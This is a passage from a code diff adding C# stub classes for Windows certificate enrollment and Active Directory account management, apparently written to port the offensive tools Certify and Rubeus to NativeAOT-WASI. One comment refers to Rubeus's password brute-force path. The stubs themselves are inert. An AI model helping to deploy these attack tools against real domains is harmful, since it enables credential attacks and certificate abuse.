public enum AlgorithmFlags
{
AlgorithmFlagsNone = 0,
}
public interface IX500DistinguishedName
{
void Encode(string strDistinguishedName, X500NameFlags dwFlags);
}
public interface IX509CertificateRequestPkcs10
{
IX500DistinguishedName Subject { get; set; }
}
public interface IX509PrivateKey
{
int Length { get; set; }
X509PrivateKeyExportFlags ExportPolicy { get; set; }
X509KeySpec KeySpec { get; set; }
string ProviderName { get; set; }
bool MachineContext { get; set; }
int KeyProtection { get; set; }
X509PrivateKeyUsageFlags KeyUsage { get; set; }
object CspInformations { get; set; }
string Export(string exportType, EncodingType encoding);
void Create();
}
public class CX509Extensions { public void Add(CX509Extension ext) { } }
public class CX509NameValuePairs { public void Add(CX509NameValuePair pair) { } }
public class CX509CertificateRequestPkcs10 : IX509CertificateRequestPkcs10
{
public IX500DistinguishedName Subject { get; set; }
public object CspInformations { get; set; }
public CX509Extensions X509Extensions { get; } = new CX509Extensions();
public CX509NameValuePairs NameValuePairs { get; } = new CX509NameValuePairs();
public void InitializeFromPrivateKey(
X509CertificateEnrollmentContext context,
IX509PrivateKey pPrivateKey,
string strTemplateName)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public void InitializeFromTemplateName(
X509CertificateEnrollmentContext context,
string strTemplateName)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CX509PrivateKey : IX509PrivateKey
{
public int Length { get; set; }
public X509PrivateKeyExportFlags ExportPolicy { get; set; }
public X509KeySpec KeySpec { get; set; }
public string ProviderName { get; set; }
public bool MachineContext { get; set; }
public int KeyProtection { get; set; }
public X509PrivateKeyUsageFlags KeyUsage { get; set; }
public object CspInformations { get; set; }
public void Create()
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public string Export(string exportType, EncodingType encoding)
{
throw new PlatformNotSupportedException();
}
}
public class CCspInformations
{
public void AddAvailableCsps()
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CX509Enrollment
{
public string CertificateFriendlyName { get; set; }
public string CertificateDescription { get; set; }
public void Initialize(X509CertificateEnrollmentContext context)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public void InitializeFromRequest(IX509CertificateRequestPkcs10 pRequest)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public string CreateRequest(EncodingType encoding)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public void InstallResponse(
InstallResponseRestrictionFlags dwFlags,
string strResponse,
EncodingType encoding,
string strPassword)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public string CreatePFX(
string strPassword,
X509PrivateKeyExportFlags dwFlags,
EncodingType encoding)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CX509Extension
{
public bool Critical { get; set; }
public CX509Extension() { }
public CX509Extension(CObjectId pObjectId, EncodingType encoding, string strEncodedData)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public void Initialize(CObjectId pObjectId, EncodingType encoding, string strEncodedData)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public CX509RawData RawData { get; } = new CX509RawData();
}
public class CX509RawData
{
public string this[EncodingType encoding]
{
get { throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI"); }
}
}
public class CX509ExtensionTemplateName : CX509Extension
{
public void InitializeEncode(string strTemplateName)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CAlternativeNames
{
public void Add(CAlternativeNameClass pVal)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CAlternativeNamesClass : CAlternativeNames
{
}
public class CX509ExtensionAlternativeNamesClass : CX509Extension
{
public void InitializeEncode(CAlternativeNames pValue)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CCertificatePolicies
{
public void Add(CCertificatePolicy pVal)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CCertificatePoliciesClass : CCertificatePolicies
{
}
public class CX509ExtensionCertificatePoliciesClass : CX509Extension
{
public void InitializeEncode(CCertificatePolicies pValue)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CX509ExtensionMSApplicationPoliciesClass : CX509Extension
{
public void InitializeEncode(CCertificatePolicies pValue)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CX509NameValuePair
{
public CX509NameValuePair() { }
public CX509NameValuePair(string strName, string strValue)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public void Initialize(string strName, string strValue)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CObjectId
{
public void InitializeFromValue(string strValue)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
public void InitializeFromName(
ObjectIdGroupId groupId,
ObjectIdPublicKeyFlags publicKeyFlags,
AlgorithmFlags algorithmFlags,
string strName)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CObjectIdClass : CObjectId
{
}
public class CAlternativeNameClass
{
public void InitializeFromString(AlternativeNameType type, string strValue)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CCertificatePolicy
{
public CCertificatePolicies PolicyQualifiers { get; } = new CCertificatePoliciesClass();
public void Initialize(CObjectId pObjectId)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
public class CCertificatePolicyClass : CCertificatePolicy
{
}
public class CX500DistinguishedName : IX500DistinguishedName
{
public void Encode(string strDistinguishedName, X500NameFlags dwFlags)
{
throw new PlatformNotSupportedException("COM certificate enrollment not available in NativeAOT-WASI");
}
}
// Additional types needed by Certify CertEnrollment.cs
public interface IX509CertificateRequestPkcs10V3 : IX509CertificateRequestPkcs10
{
void InitializeFromPrivateKey(X509CertificateEnrollmentContext context, IX509PrivateKey pPrivateKey, string strTemplateName);
CX509Extensions X509Extensions { get; }
CX509NameValuePairs NameValuePairs { get; }
string Encode();
}
public class CX509CertificateRequestPkcs7 : IX509CertificateRequestPkcs10
{
// IX509CertificateRequestPkcs10 members
public IX500DistinguishedName Subject { get; set; }
public void InitializeFromPrivateKey(X509CertificateEnrollmentContext context, IX509PrivateKey pPrivateKey, string strTemplateName) { throw new PlatformNotSupportedException(); }
public void InitializeFromInnerRequest(IX509CertificateRequestPkcs10 innerRequest) { throw new PlatformNotSupportedException(); }
public void InitializeFromCertificate(X509CertificateEnrollmentContext context, bool renew, string strCertificate) { throw new PlatformNotSupportedException(); }
public void InitializeFromCertificate(X509CertificateEnrollmentContext context, bool renew, string strCertificate, EncodingType encoding, X509RequestInheritOptions inheritOptions) { throw new PlatformNotSupportedException(); }
public IX509CertificateRequestPkcs10 InnerRequest { get { throw new PlatformNotSupportedException(); } }
public CSignerCertificate SignerCertificate { get; set; }
public string RequesterName { get; set; }
}
public class CSignerCertificate
{
public void Initialize(bool machineContext, X509PrivateKeyVerify verify, EncodingType encoding, string cert) { throw new PlatformNotSupportedException(); }
}
public enum X509PrivateKeyVerify
{
VerifyNone = 0,
VerifySilent = 1,
VerifySmartCardNone = 2,
VerifySmartCardSilent = 3,
VerifyAllowUI = 4,
}
[Flags]
public enum X509RequestInheritOptions
{
InheritDefault = 0x00000000,
InheritNewDefaultKey = 0x00000001,
InheritNewSimilarKey = 0x00000002,
InheritPrivateKey = 0x00000003,
InheritPublicKey = 0x00000004,
InheritKeyMask = 0x0000000F,
InheritNone = 0x00000010,
InheritRenewalCertificateFlag = 0x00000020,
InheritTemplateFlag = 0x00000040,
InheritSubjectFlag = 0x00000080,
InheritExtensionsFlag = 0x00000100,
InheritSubjectAltNameFlag = 0x00000200,
InheritValidityPeriodFlag = 0x00000400,
InheritReserved80000000 = unchecked((int)0x80000000),
}
}
@@ -0,0 +1,105 @@
// System.DirectoryServices.AccountManagement stub for NativeAOT-WASI.
// Provides PrincipalContext and related types used by Rubeus.
using System;
using System.Collections;
using System.Collections.Generic;
namespace System.DirectoryServices.AccountManagement
{
public class PrincipalContext : IDisposable
{
public PrincipalContext(ContextType contextType) { }
public PrincipalContext(ContextType contextType, string name) { }
public PrincipalContext(ContextType contextType, string name, string container) { }
public PrincipalContext(ContextType contextType, string name, string container, ContextOptions options) { }
public PrincipalContext(ContextType contextType, string name, string username, string password) { }
public PrincipalContext(ContextType contextType, string name, string container, string username, string password) { }
public string ConnectedServer => throw new PlatformNotSupportedException("AccountManagement not available in NativeAOT-WASI");
// Rubeus brute uses this to test password validity. Returning false is
// safe — the brute path is expected to fall back to its own AS-REQ.
public bool ValidateCredentials(string userName, string password) => false;
public bool ValidateCredentials(string userName, string password, ContextOptions options) => false;
public void Dispose() { }
}
public class UserPrincipal : Principal
{
public UserPrincipal(PrincipalContext context) : base() { }
public static UserPrincipal Current { get { throw new PlatformNotSupportedException(); } }
public static new UserPrincipal FindByIdentity(PrincipalContext context, string identityValue) => null;
public static UserPrincipal FindByIdentity(PrincipalContext context, IdentityType identityType, string identityValue) => null;
public PrincipalValueCollection<string> ServicePrincipalNames => new PrincipalValueCollection<string>();
public string DisplayName { get; set; }
public bool? Enabled { get; set; }
public bool PasswordNotRequired { get; set; }
public void SetPassword(string newPassword) { }
}
public class GroupPrincipal : Principal
{
public GroupPrincipal(PrincipalContext context) : base() { }
public static new GroupPrincipal FindByIdentity(PrincipalContext context, string identityValue) => null;
public PrincipalCollection Members => new PrincipalCollection();
}
public class ComputerPrincipal : Principal
{
public ComputerPrincipal(PrincipalContext context) : base() { }
public static new ComputerPrincipal FindByIdentity(PrincipalContext context, string identityValue) => null;
public string[] ServicePrincipalNames => Array.Empty<string>();
}
public abstract class Principal : IDisposable
{
public string Name { get; set; }
public string SamAccountName { get; set; }
public string DistinguishedName { get; set; }
public string Sid => null;
public string UserPrincipalName { get; set; }
public string Description { get; set; }
public PrincipalContext Context => null;
public static Principal FindByIdentity(PrincipalContext context, string identityValue) => null;
public static Principal FindByIdentity(PrincipalContext context, IdentityType identityType, string identityValue) => null;
public void Save() { }
public void Dispose() { }
}
public class PrincipalCollection : IEnumerable
{
public int Count => 0;
public IEnumerator GetEnumerator() { yield break; }
public void Add(Principal principal) { }
public bool Remove(Principal principal) => false;
public void Clear() { }
}
public class PrincipalValueCollection<T> : IEnumerable<T>
{
public int Count => 0;
public IEnumerator<T> GetEnumerator() { yield break; }
IEnumerator IEnumerable.GetEnumerator() { yield break; }
}
public class PrincipalSearcher : IDisposable
{
public PrincipalSearcher() { }
public PrincipalSearcher(Principal queryFilter) { }
public Principal QueryFilter { get; set; }
public PrincipalSearchResult<Principal> FindAll() => new PrincipalSearchResult<Principal>();
public Principal FindOne() => null;
public void Dispose() { }
}
public class PrincipalSearchResult<T> : IEnumerable<T>, IDisposable
{
public IEnumerator<T> GetEnumerator() { yield break; }
IEnumerator IEnumerable.GetEnumerator() { yield break; }
public void Dispose() { }
}
public enum ContextType { Machine = 0, Domain = 1, ApplicationDirectory = 2 }
public enum IdentityType { SamAccountName = 0, Name = 1, UserPrincipalName = 2, DistinguishedName = 3, Sid = 4, Guid = 5 }
[Flags] public enum ContextOptions { Negotiate = 1, SimpleBind = 2, SecureSocketLayer = 4, Signing = 8, Sealing = 16, ServerBind = 32 }
}

Some files were not shown because too many files have changed in this diff Show More